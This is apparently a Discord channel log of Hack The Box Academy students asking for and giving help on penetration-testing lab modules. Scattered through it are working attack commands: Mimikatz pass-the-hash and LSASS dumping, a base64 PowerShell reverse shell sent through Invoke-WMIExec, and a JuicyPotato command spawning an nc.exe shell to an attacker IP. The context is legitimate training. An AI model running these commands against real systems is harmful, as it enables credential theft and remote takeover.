#modules
1 messages Β· Page 150 of 1
Explain please,since it is hacking WP module...
Useful info, thanks!
When I try to ssh to the IP HTB gives me from within the machine it just lags out.
Still having trouble with pass the hash question: "Connect via RDP and use Mimikatz located in c:\tools to extract the hashes presented in the current session. What is the NTLM/RC4 hash of David's account?" I ran the command "mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /rc4:30B3783CE2ABF1AF70F77D0660CF3453 /domain:. /run:cmd.exe" exit" and just got another shell with the same administrator access. How do I dump the hashes? Yesterday I did "sekurlsa::logonPasswords full" with mimikatz, but that is something I googled outside of the lesson. What methodology is intended based on the curriculum here. I feel like I'm missing something.
thats the command you need
mimikatz is a part of the curriculum
and googling about its possibilities is another
It seemed like a familiar command but I can't remember what module it was in previously.
its not
I was trying to go back and review
Well that makes me feel better
I thought I was taking a shortcut by using that command because it's something I googled. I thought there was another methodology that I was missing in the curriculum.
madf0x said it was taught in the module but i think he is missing it
Yeah, that's why I searched the previous modules.
pretty sure sekurlsa::logonPasswords is taught in cpts, can't remember which module it was tho
Thanks for the help. I just wish there was a flag to tell you that part of the solution is not included in the curriculum.
it is not π
I looked pretty hard!
ah I see
either way there are multiple ways to dump LSASS, logonPasswords is just one of the more popular ways to do that
Crazy
?
Literally at the top of the PtH section
wdigest
i think you are missing the context
π
About the pth command?
I did that, it just gave me another shell of the same user.
I was trying to dump hashes.
I've got it though, thanks MarcieLee
I thought that the command was in a previous lesson, I ended up having to google it to find the sekurlsa::logonpasswords solution
pypykatz?
I almost tried that.
just try
I already got the hash, so I might come back and play around with that to practice later.
I just tried " sekurlsa::pth /user:David /rc4:c39f2beb3d2ec06a62cb887fb391dee0 /domain:\DC01\ /run:cmd.exe" on the next question and I'm getting the same MS01 administrator shell.
for the next question:
Using David's hash, perform a Pass the Hash attack to connect to the shared folder \DC01\david and read the file david.txt.
why would you get a different shell than MS01
that command only gives you access to David network share
I just did the lsass dump from command line iirc
Is the command right? I can't get into DC01 share with "dir \dc01\david"
When doing the smb double backslash just wrap it in backticks
yea then you need to read it π€£
It's been a hot minute since I did this module
huh
Domain Controller
does someone now how can i get 30 cubes?
Whatever this means
do you maybe now how i can get 30 cubes?
complete modules
Pay for them
yea but i dont have a credit card
HAHAHAA
Thank you!
remember smbclient commands
Ah, I'll try that too.
you connect to a share which in this case is \DC01\david but in this case you have to use absolute paths since you are not in an interactive console under the network share
its only a trick mimikatz does
actually the domain is inlanefreight.htb btw
DC01 is a security principal, in this case a computer (a special one called Domain Controller)
spoilers remove it please
.
double check the source you got and find out the naming scheme
On question: "Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt."
I ran the commands but did not get anything on my listener
Am I using the target IP for all of these?
I'm confused.
Am I supposed to have two RDP sessions open?
Is there another IP address I have to enumerate?
what section is it?
passthehash in password attacks
Am I supposed to use the IP from the lesson content?
yeah i cant get the source code back now
idk i cant remember been a few weeks since i did this module
im pretty sure its an ip u find on the domain
DC01 is supposed to connect to MS01, the machine you RDP'ed into, catch the shell with nc
the one in the top is just for rdp no?
skill issue??
started a netcat listener and then did this:
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64f12cddaa88057e06a81b54e73b949b -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAyADkALgAyADAANAAuADIAMwAiACwAOAAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
we dont need all the base64 here
I just want to make sure my shell is correct.
nah i got it lol
I did the same type of reverse shell as in the lesson and then used the IP from the target machine that I've been using for the whole lab
my eyes dont decode base64 up to today
nah
and I used port 8001.
the network is a 172 one
Yeah, I don't have that IP
ms01 and dc01 are connected trough internal
Ipconfig
find it π€£
I have a 10.129 one
problem -> solution
Provided by the lab
lmao
this technique works 100% of the time
Yes but when you sign in you have ways of finding it
@sly dome what do u mean naming scheme
the files are stored with a certain naming scheme under the folder you mentioned (the spoiler)
ahhhhhhh i see now thanks
any time
okay so I used ipconfig and found two ips, one was the one provided and one was a 172 ip that worked
still doesn't make sense though, how do I have two IPs?!
...
because the machine has two network interfaces
... did you do the foundation modules?
Networking is wild
Yeah, I did. What do those two IPs represent?
Wait till he realizes he has 2 networks on his vm when he does ip a
Different subnets
I'm also not sure what they're talking about when they say "the target machine, DC01, can only connect to MS01"
Yeah I understand IPs in that sense, I'm just trying to figure out why there would be two in this case on this machine. They only gave one in the lab
Because DC01 is only on the 172 subnet, ms01 is on the tunnel subnet and 172
I have 7 on my work computer lmao!
its like you are part of different and unrelated human communities
You can't directly get to DC01 from your attack machine, you need a middle man
the one they gave lets you connect to MS01, the other one is intranet with DC01 inside
tunnel subnet being the subnet of the IP I was given for the lab?
Yes the 10.x.x.x
Okay, makes sense now, wish that would have been explained in the module. Thanks for the clarification!
DC01 knows the way (route) to MS01 because they share a router in the 172 network
The 172.16.x.x is the internal network
yes it is sie
sir
but MS01 also has a 172 one
172 is usually like 172.14-16.x.x
were calling it β172β because at least I dont remember the exact CIDR
Yeah I understand
Same
MS01 has 2 ips, DC01 has only 1
So I was connected to MS01 and got a reverse shell from DC01
Yes
Okay
itβs configured like that because is the same lab than the AD module
you can always redirect that to your local Parrot/Kali
So the 10.129 ip was just my VPN ip, in a real engagement there may only be the 172 correct?
π
in a real engagement can be all different
Love it
better understand the underlying of networking
Most networked systems have 2-3 ip, the higher up the chain the less it needs to reach out to delegate
Yeah, I think the confusion was that I was under the impression that the DC01 was also on my 10.129 network
so I had used that IP for my reverse shell
happens
nothing in the module triggered me to think about another ip
yes something did
I mean, seeing the 172 ip was confusing but I thought it was just an example
βthe target machine can only connect to MS01β
meaning that target machine and you are in separate networks
Networked systems
Any time you need to interact with another machine from the initial system
and very patient
any time!
It's always a different ip
we have been where you are π€£
before HTB I did the complete begginer and offensive pentesting modules on TryHackMe
networking is an abstract concept and can be hard to get
so that's pretty much my background besides Network+
HTB actually places a rather medium to high level in every content they deliver
I have server+
That one's not easy from what I hear!
which is good but it takes effort and time to be successful at HTB related stuff
hi. I don't get it. Why need a separate account for HTB main if I already had academy set up? π
theyre working on SSO already
for now its what its
fair then
On the Getting Started module, Public Exploits section. I was able to use nmap with the version scan to see the open ports. now i am trying to find the right exploit within msfconsole but just missing something. the hint says search exploit plugin which i did but cannot find right one, any idea?
sorry, think i should ask this in the community help, my bad
no this is the right place for academy module stuff
you should search for the services and their version, use searchsploit like the example
i am trying that "searchsploit ssh 8.4"
but the hint part is throwing me off
Is there anyone that can help me with the Module: AD Enumeration & Attacks - Skill Assessment Part 2. Feel like Iβm going crazy
Question about getting the administrator account on MS01. Question 8.
just ask
I'm on the SQL01 server as SYSTEM. I tried a bunch of different ideas and thought the best way to move to MS01 would be to capture the hash of the administrator now that I have SYSTEM and try to login with the access. I did this and cannot pass the hash, break the hash, etc.
Looking to know if I am in the wrong direction or if I'm doing something wrong
been a while since I've done that module, but enumerate the rights of the users you have credentials to
Alright, back to the drawing board. Thanks for the nudge
Got it, staring me in the face the whole time. Thank you!
Hello everyone, what are the personal instances on the HTB VIP+ subscription ?
Not the right place to ask lol vip+ is separate from academy
Yeah I just noticed that I am in the wrong place π Sorry
after making a post in community-help area, do we close it when done? i did but then it disappeared, wnated to check and thank you for the help @next bronze and @fathom pendant !
When you close it it basically hides it from active but it's still archived
hi im doing web proxies and doing the question
The /lucky.php page has a button that appears to be disabled. Try to enable the button, and then click it to get the flag.
I really dont get it? i have tried getflag=true and GET /lucky.php?/getflag=true HTTP/1.1 dont get what im doing wrong
have you tried inserting path in ?=/path/flag.txt ?
You literally need to get lucky
Im not memeing
lmao
while true; do something; done | grep something
HELP on password cracking using mutations
under the AD module, ACL abuse: they are asking to add certain user to a group but the user is in the group already (???)
wtf?
Hi there, may I ask few questions:
- If I bought the silver plan (1 year) would I get 1 exam voucher per payment period or per year?
- Does it unlock all modules for free without the need of cubes?
Thanks lol
unless it's an exercise question, it's just an example of how to do it
its an exercise indeed
Work through the examples in this section to gain a better understanding of ACL abuse and performing these skills hands-on. Set a fake SPN for the adunn account, Kerberoast the user, and crack the hash using Hashcat. Submit the account's cleartext password as your answer.
i think every step is intended to get done
I checked my notes, I did it with PowerShell, never got an error message saying they're in it, but essentially the exercise part starts from adding the SPN
ok ok
but if you did it
why i dont have to ?
it should be the same scenario unless someone else is in the same lab than me and added it before i did
I just think they were always already added there, it's just that powershell doesn't throw an error while net rpc does
ahh okok
even in BloodHound its shown as an user of the group
and my BH data is from days ago
Hello I got stucked at Academy: Attacking Common Services | Attacking DNS, i got the subdomains but doesnt know where to go from here. Is there any tip? Thank you in advance
but the exercise itself starts from adding a fake SPN, just because a step is shown in the module, doesn't mean it must be repeated
I mean, is net rpc even in that section
nope
then the exercise is phrased just fine
my point is that they should state that the steps to reproduce are starting at the SPN part
its nothing related to the tool you use
you can reproduce the section without issues if you're using powershell
worked fine for me π€·
okey then my lab is altered by somebody else
but is weird because my BH data is:
and this data is from 2 days ago
This is talking about adunn, not damundsen right
its talking about follow all the examples in the section
wdym?
one example is not doable at least in my lab since it is already done !
Work through the examples to gain understanding, but do it for adunn to complete the question. Thatβs how I read it right now
Could be wrong
Find all entries
yea powerview
i should try resetting the lab at this point π
but im confused a lot by what my bloodhound shows, that data was collected some days ago
you can just complete it, you clearly understand what's being done
thanks
i know but i am mad now
i will just ignore it
i get how its done
that's all
and there's always #858470491676737536, if it's legit a mistake, they can fix it
i will consider; thanks arth0s always a pleasure
not gonna lie, I've found some stuff and couldn't bother reporting them
same, but its fun to discover extra stuff and try to understand
Does HTB have sales on subscriptions?
Not usually, only ever real seen the occasional seasonal promo on silver annual but thats abt it
Ooo oki, I wonder if there will be one for Black Friday, it seems like a good deal
You can currently win a subscription
I am hoping, starting fresh on my journey for the sec+
Thanks :)
what takes longer: password attacks mutation section or DCSync attack over 2000 users domain?
HAHAHAHAHA

Honestly unless youre doing a password audit theres no reason to DCSync the entire DB
it is asking for certain cleartext password
i dont know the username
well, then you are indeed doing a password audit on the whole DB π
So my point is still correct
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
maybe i can use that
to get the user(s) samaccountname
XD
so you already have the hash and just need the username?
but what do you HAVE
You skipped a part
Viewing an Account with Reversible Encryption Password Storage Set this?
Reversible encryption set is a specific setting
you can search for that setting to get the user
this
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
should be the same
Ye just saying what I have in my notes
Much easier than just DCSync the entire domain. Though it WOULD work too
yes it worked haha
since impacket separates a sep file for that permission
Getting an error on PtT module when trying to RDP with the supplied credentials: The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
I reset and tried /cert-ignore, and that did not work either.
thx for the collaboration mate
np
using command: xfreerdp /v:10.129.133.178 /u:Administrator /p:AnotherC0mpl3xP4$$ /dynamic-resolution
yea but you are using AnotherC0mpl3xP4
yes
Oh! got it. Thanks!
any time
That did the trick!
Hi I'm currently working on the "Firewall and IDS/IPS Evasion Hard-lab" in the NMAP enumeration module and I found a bunch of different ports but I don't know which to use for my --source-port #, and I searched online people specifically picking 53, is there reason behind that?
Like all the other ones it's also filtered, I'm confused on why specifically are people picking that port over the other ones
the victim host allows inbound connections coming from 53 for DNS reasons
itβs explained in the module
Where at?
hey guys is there have any roadmap in hackthebox
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
hmm
I see what you meant, sorry I was just very confused on the wording thanks for your help
gotta remember that things like !,$,( etc are special characters that the bash terminal interpreta before the application receives it
Can I pm you?
go for it
got stuck at Attack Enterprise Network - Lateral Movement. couldn't connect to MS01 via evil-winrm, tried both portfwd and reverse portfwd and get WinRMAuthorizationError
been following the walkthrough too
either your logon creds are bad or your user doesnt have perms
yea imma try harder ig
I can't F read lol 
Happens
Hi there, hoping someone can help me out with the Using CrackMapExec : Skill Assessment. I think I'm just doing something silly and can't get any accounts. I can find three hosts but when I try to brute force the rids, I don't get anything. I reckon I've configured something wrong in my hosts file or am missing a particular tag in my commands...any pointers?
can anyone help with attacking DNS?
hint same api as the one you found the uid
sure shoot me a dm if you still need help
what's the issue?
Ive been doing this question for so long and I found a HTB{} flag but when I put it in, it says its wrong
idek what to do anymore
shoot me a dm with that flag, i'll check it for y'all
ptt from linux password for user david is not working
I'm doing: ssh david@<ip> -p 2222
I have inlanefreight.htb in my /etc/hosts file with the appropriate IP as well
the domain at the end is a part of the username
lol, yeah I just saw that as I read further. I was trying to start the machine before I got into the lab material.
Just not used to that method. Should I take it out of my /etc/hosts?
i don't think that matter for this part but it could for some of the later attack on that section
I tried 19700 and 150
The list on the hashcat site is horrible!
Also, is there an easier way to find this?
I can't find AES-256 modes for hashcat or john
Looks like it should be 19700 based on https://hashcat.net/wiki/doku.php?id=example_hashes
why are you trying to crack that one
youve imported the keytab file, just use it to get a kerberos ticket
The question is asking for me to get credentials and then authenticate via SSH.
Is there a mode for that in john the ripper or hashcat?
Nevermind, there was another keytab file in the folder with an NTLM hash. Cracked it.
anyone do SeDebugPrivilege module recently? I logged into the box with the creds provided, but the user does not have the priviliges for the attack
and it's asking me for a password
I thought the point of this was to avoid using a password.
<@&861185840277487616> 
Brother in idiocy there are FBI agents in this chat
This is actually facts
Hey all, does it matter if i run kali or parrot when doing the modules? is there anything linked to the parrot sec os to htb website? or will it be fine to use kali?
Whatβs the difference between fortresses and pro labs?
I get one is paid and one is rank based but what is fortress really doing different
If you have even a couple of braincells it will be fine
its the red role day
was just making sure, as i really didnt want to change os, wasnt sure if i needed it specifically to access the vms from it etc.
nah you good
sweet as cheers π
hi im facing same problem, how u solve this ?
can u give me hint ?
Hi! I got stuck with Attacking Common Services, Attack DNS.
I found a few subdomains, but i dont know where to go from here. Tried dig without any luck. Can someone show me some direction?
DId you try running subrute?
yes
What did oyu get for a result?
Heyo! Anyone know how to reset bloodhounds db in the community edition?
Hi. Please can someone help me. I am doing the Getting Started Module and at the end of it, there is a Nibbles walkthrough. If I wanted to do this on my own parrot VPN, do I use openvpn with the academy VPN details OR the HTB main site VPN details (as the box is on the main site [I have a lab ovpn file as well as the starting point ovpn ). I am just unsure which one to use. Thank you
try inlanefreight.htb
did you write into all writeable shares?
that's the neat part, you don't
seriously, there's no official feature to clean the db yet
i treid
I'll dm
yes i put .scf file in b* folder
yes but when I restart the docker instance it keeps the db info, inless i remove it and readd I guess
Nvm i can't dm you
why?
alright i need to change my settings
you can, however, remove the docker volume, but don't blame me if it breaks something, works for me at least:
docker container ls
# find the container that ends with "graph-db-1"
docker container rm <that container>
docker volume rm $(docker volume ls -q | grep neo4j-data)
lmao bet Ill try that, good thing with docker is if it breaks I can always restart it
worst thing that can happen is you'll need to reinstall the whole thing I guess, but shouldn't be a big deal
i sent you a friend request
Thats interesting that bloodhound devs didnt account for this at all.
I don't remember the exact steps but put it into all writeable shares, then wait a while in responder, if you still don't see it, restart the target
yep I don't understand why this isn't some of the first features to be implemented, hopefully they will add that soon
solved, thanks
Hey Guy I didn't understand juicy-potato, maybe someone can explain it a bit better
how do I choose the COM server listening port??
in the module they just did -l 53375, but Y did they choose this one ??
I am 12 yrs don ban me pls
cuase when I do "netstat -ano" I C alot of ports
but when I choose some other it doesn't work
I'm doing the "Windows Privilege Escalation Skills Assessment - Part I"
What is this π
I think I can use the juicy potato 4 escalation, but I need a listening port so || netstat -ano ||
but I get error
do U know?
ok I think I understand that I need to choose a CLSID, I just don't understand how am I suppose to shoose...
Hi, I have a problem with MacOS module
https://academy.hackthebox.com/module/157/section/1522
I have to give the numeric version running on my machine but there is no lab on this module
(Except the usual parrot one)
Have I to make my own lab in order to do this module ?
each CLSID reperesnts a service that can run as system, just need to find the right one as it can be different from system to system
yes but there r to many
got 1 that say :
[+] CreateProcessWithTokenW OK
not sure how 2 continue now
I don't have a mac but I've finished this module somehow, I think any version works?
if you have gui access, it should pop a system shell, if you don't, use nc to send a system shell to your listener
hmm funny, thanks
but that doesn't give me much
since I get the same user...
Hello, I'm not sure where I'm supposed to ask this question. I'm relatively new to HTB and wanted to clarify this small doubt.
I expected a result containing which port the IP was running on but I couldn't see any open ports in it.
(Scanning the Meow HTB)
I ran the command
nmap -F -Pn {ip}
I got
Host is up.
All 100 scanned ports on {ip} are in ignored states.
Not shown: 100 filtered tcp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds
Does anyone know how I could get the ports names listed?
Hi there, I have this POST Request
POST /upload.php HTTP/1.1
Host: 94.237.49.11:44931
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------413690872112659765123503892632
Content-Length: 51378
Origin: http://94.237.49.11:44931
DNT: 1
Connection: close
Referer: http://94.237.49.11:44931/
-----------------------------413690872112659765123503892632
Content-Disposition: form-data; name="uploadFile"; filename="pirate.jpg"
Content-Type: image/jpeg
ΓΏΓΓΏΓ JFIFHHΓΏΓC
I want to fuzz for possible allowed upload extentions in the Content-Disposition: Header.
I know how to do that using a Proxy. Does anyone know how to accomplish this using Ffuf?
I have tried something like this ffuf -X POST -u http://94.237.49.11:44931/upload.php -H 'Content-Disposition: form-data; name="uploadFile"; filename="testFUZZ' -H 'Content-Type: application/x-php' -d 'test' -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ but it did not work.
How does your full command look like?
|| cmd /c JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\Windows\Tasks\nc.exe 10.10.15.75 1234 -e cmd.exe" -t * ||
but on the VM I get the same user ...
a bit pointless
try running potato directly .\JuicyPotato.exe
You didn't specify here the clsid
||cmd JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\Windows\Tasks\nc.exe 10.10.15.75 1234 -e cmd.exe" -t * -c "{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}"||
I can't send picture but it's the same user...
what error are you getting? and what shell do you have that you can't run the potato directly but need to use cmd JuicyPotato.exe
can I DM?
sure
Module: File Inclusion
Session: Basic Bypass
On approved paths, it say* "Some web applications may also use Regular Expressions to ensure that the file being included is under a specific path. For example, the web application we have been dealing with may only accept paths that are under the ./languages directory"*
How should I locate accepthed baths for the web app? From the examples in the session, I do not get the same output that are in the examples.
You can explore/crawl the website for valid paths or use a directory busting tool like dirsearch,feroxbuster,gobuster to enumerate valid directories in the same path then use the valid directory before your directory traversal payload
You don't even need to do that though for the example
ah thx. SHould have thought about that
yeah figured that out when I just looked at the URL. Pay attention to the details ^^
Hi how do I learn?
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
Hi would someone be able to help me out with File Upload Attacks - Skill Assessment?
Just a little stuck
Where exactly?
I need reverse engineer or Crypto skilled player and located or can to travel to saudi arabia to attend the blackhatmea finals
DM Me
hey friends, i am almost there, i am at Attacking Enterprise Networks - Web Enumeration & Exploitation, i am not getting the cookie, but getting this response, any hint??
Could you show the JS payload?
Can someone explain the fortress labs and what is the difference between them and pro labs
If Iβm in the wrong area lmk
I get you need points for fortress but they seem like an earned version of pro labs instead of paid
Were you able to get it?
I didn't have time to read your last message
idk why it got deleted, give me a minute please
first, i tried having the file script.js as in the pic, with this payload
Pro Labs you need to pay for. you can only get access to them via a subscription.
Fortresses you get with i believe the Hacker rank on HTB.
you need to verify your account to see access to the channels for these. #welcome
Ok I will one last question, other than pay vs earn strategy, are these the same?
Im talking actual lab time and lab experience im not seeing the difference e
then i tried this payload , and got this
Ah I see
not really... Pro Labs are multiple machines (i.e. you're attacking a network).
i believe Fortresses are just single machines.. like Akerva mainly just focuses on web attacks
Ah there we go that makes sense
Just a private earned single machine
Got it thanks buddy
pretty sure they're not private
Private to those that didnβt earn the rank hehe
So the script tag you inject should be using the src= to grab the script.js hosted on your machine. The script.js will have the code that will send the cookie
and Hacker rank unlocks 4 of them which are retired, the remaining three require Guru rank for some reason
shared you mean?
huh? all Fortresses can be done with the Hacker rank
I need to put on my big boy pants and actually do an active box. That is not retired so I can earn points.
yes shared
oh lmao, I'm sorry, I was thinking Endgames for some reason
yes, but it didnt work
too many things 
I meant endgames
Single machine too?
Yes it is
@rustic sage Endgames are good as well.. they're like Pro Labs but a lot smaller... you need to be Guru to unlock them or buy VIP and get access to the retired ones only.
Ok endgame is a smaller free but rank earned lab got it
:wipes brow: man thatβs confusing
Hm. I think I used xmlhttprequest payload for my script.js when I did it blind. Didn't try the HTB guide payload
It looks like the HTB guides payload should work though
Endgames aren't free, unless you pwn a lot of active machines and achieve Guru.
machines + many, many challenges
with 150+ active challenges, it's just not doable tbh, but that's probably a skill issue on my side
Donβt say that
Thereβs many that canβt do it all
Itβs called life and responsibility
Dudes that are top 10 on hTB
Jk
The "Limited File Uploads" module gets you there.
it worked now for some reason π thank you so much for your timeπ
No problem. Glad you got it!!
have great day
You too. Congrats on getting to the end and good luck on the exam!
Hey peeps... I must be doing something wrong but I can't get the right answer to What is the CVSS score of the public vulnerability CVE-2017-0144?
https://academy.hackthebox.com/module/75/section/763
I've tried every different way I can think of to give the answer but it's always wrong
try looking up the score for cvss version two instead of three
Well... there you go π
was the easiest way to URL encode a base64string?
probably cyberchef or any url encoder you can find online
In burp CTRL+U the selected string. Or the encoder tab
I like to use CyberChef as well for encoding
hmm
Attacking SQL Databases.
Cannot having responder to work to get the hash. Any advices?
ON the File Inclusion Module > Once you have base64 encoded your web shell it says "we can URL encode the base64 string"
I got the same base64 string: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
But when I URL encode it, i dont get the same output as the in the session, hence I'm not able to utilize it.
Any idea what I might be doing wrong here?
Hit that enocde special characters
Hello, I am stuck in XSS Phishing section, I want to remove the image input and bad icon
How can I do?
Hacking WordPress --> skill assessment --> + 1 Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.
I've looked through the plugins but did not find a flag like thing. Any nudge that can help me to finish this module? Got all the other questions π
try escaping "<img src" before adding your script
Hi , I try to use "> to escaping but failed. Could you give me some hint?
try '>
Yes, It can work but I don't know why.. Could you tell me the reason? Thanks!
not sure. Had same issue yesterday and it worked for me
Double quote is probably a bad character that's getting encoded. Notice " is getting replaced with " which is encoded form of "
umm.. I found when I useing "view-source" in FireFox it display single quote
But if using F12 to see it display Double quote
Not sure if someone already replied you but for my case, I put it in the wrong writable folder. Probably need to look for other writable shared folders.
If anyone... I've checked all the plugins mentioned by WPScan but no results yet...
i don't remember this exactly, but there are other ways other than wpscan to enumerate plugins
see if you miss something.. that or research online the plugins and it's version
Only ways i could think of is exploiting them one by one... trying thast right now
wpscan indeed list some CVEs and one of them is what you need π
Almost all of them done, alot of info but no download file that appears a flag.
the CVE is exactly βunathenticated file downloadβ
found it! But not in the results from WPscan, it was Google that gave me the result when i searched for "unauthenticated file download"
Thanks!
did you enumerate all plugins with wpscan?
also a good lesson to never fully rely on automated tools
Gotta zone transfer to the right one
did you use a wpscan token?
that is essential
Yes
I got it with wpscan
SMTP module : Module teaches to use ||telnet <ip> <port>|| all that I have received is || Trying <ip> followed by "telnet: Unable to connect to remote host: No route to host"|| any ideas?
I assume you're using <ip> as a placeholder for the 10.x.x.x ip the module gives you? Are you connected to the vpn?
yes and yes
So you're doing telnet $ip $port (you do need to specify port)
the exact syntax that I ran was ||telnet 10.129.75.25 25||
If you do ip a you only have 1 tun connection yeah?
yeah I only see one
but can you ping the machine? the error is no route to host
I was able to run the nmap scan and get results, I don't know if there's a difference in that and ping but I'll give it a try quick
im just basing my advice on the provided error
I had to restart it a couple of times, but it eventually worked, thanks
ππ½
how do I find the name on the SMTP server, I'm a little lost... can anyone give me a nudge?
Like a username? Use the VRFY, RCPT TO or EXPN to enumerate users. You can make a bash script to run through a list of names. There's also a tool that can be used to automatically enumerate SMTP users using a specified method. Smb-user-enum I believe
cool thanks
Smtp-user-enum
Right lol
Is anyone able to help me with the SQLMap Essentials skill assessment? I have searched far and wide but can't seem to find the injectable spot. Thought it might be in the search feature but alas that does not work.
Edit: found it, but goodness me that is a well hidden spot. My advice to the next person: Act as though you wanted to buy something π
Can anyone let me know how long it takes to get the reset password email? Iβve been waiting awhile.
has anyone gotten a vbox kernel error
i was doing a windows priv esc module and now im getting this error
Ya someone already reply thanx
Guys, can I ask you about this question: It's Pass The Ticket from Linux
Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).
I connected to SMB using the keytab file but I tried to transfer the keytab file to my machine to authenticate as LINUX01$ but didnt succeed.
Is this possible and was getting the file through smbclient the correct way to go?
itβs possible if you tunnel the traffic through the pivot
How did you manage it? I'm really stuck with this , could you help me?
Module: File Inclusion
Session: Remote File Inclusion.
What is the syntax needed to navigate among the dir? A little bit stuck on the navigation part
Why do you not just get a reverse shell?
just change commands

Could try. Just trying to follow along with she section
in the screenshot you're showing using ls /'which is doing the ls command on the root (/) directory
try changing up the commands or maybe the question offers a suggestion where to look
ls+/
this gave no response
Im with you so far
my problem is get no result when trying to look in a different dir. I think I might be using the wrong input
Hello, can someone help me with the DNS part of "Attacking Common Service" ? I dont get it how to brute force subdomains
try ls%20//
can someone explain or provide the answer for this working with ids/ips skill assessment There is a file named wannamine.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to the Overpass-the-hash technique which involves Kerberos encryption type downgrading. Replace XX with the appropriate value in the last content keyword of the rule with sid XXXXXXX within the local.rules file so that an alert is triggered as your answer.
What have you tried?
I've tried changing the content XX with SID and checked but no alarms was triggered
You only have to replace the last two XX with the last two numbers of the SID
yeah I did but still no alarms was triggered
Then you have probably used the wrong SID
hey @acoustic owl i made a grave error in thinking i could simply just pick back up where i left off in ad enum and attacks LMAO spent 10 minutes figuring out my Skill issue
Haha, what do you need help with?
attaining monner
i figured it out (I forgot to tell the query to also look for the object to be a person)
I figured I needed to make the query = 2 for the account disabled bit
where is 999999 given?
in the local.rules wannamine.pcap sid
Look on the bright side. You certainly won't make this mistake a second time
Take another look at the SID.
You do not have to adjust the SID. You have to adjust the rule with this SID.
You have to adjust the content
Hi, can we create a dump file using cmd.exe and PID?
yeah i have changed the content xx with 99
No, SID is not content
I had to guess the account name the first time because I forgot to add the filter for the samaccountname
so what i have to replace xx with i am trying from past 2 days please let me know
DM
Gitlab - Discovery & Enumeration
if you have sufficient privs, yes
can you tell me the command for it please?
The module only mentions powershell command using rundll32
yeah, because that works without having to transfer procdump over, what's wrong with that approach?
it only works for powershell I guess. I just wanted to know any alternatives for notes purpose
powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id C:\users\public\lsass.dmp full
you can run this in cmd
Thanks
or
procdump.exe -accepteula -ma lsass.exe lsass.dmp
but you'll need to transfer procdump to the target
ok thanks
Can some one help I am stuck on this one. I am not sure why I canno share a screenshot on here as well
SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.
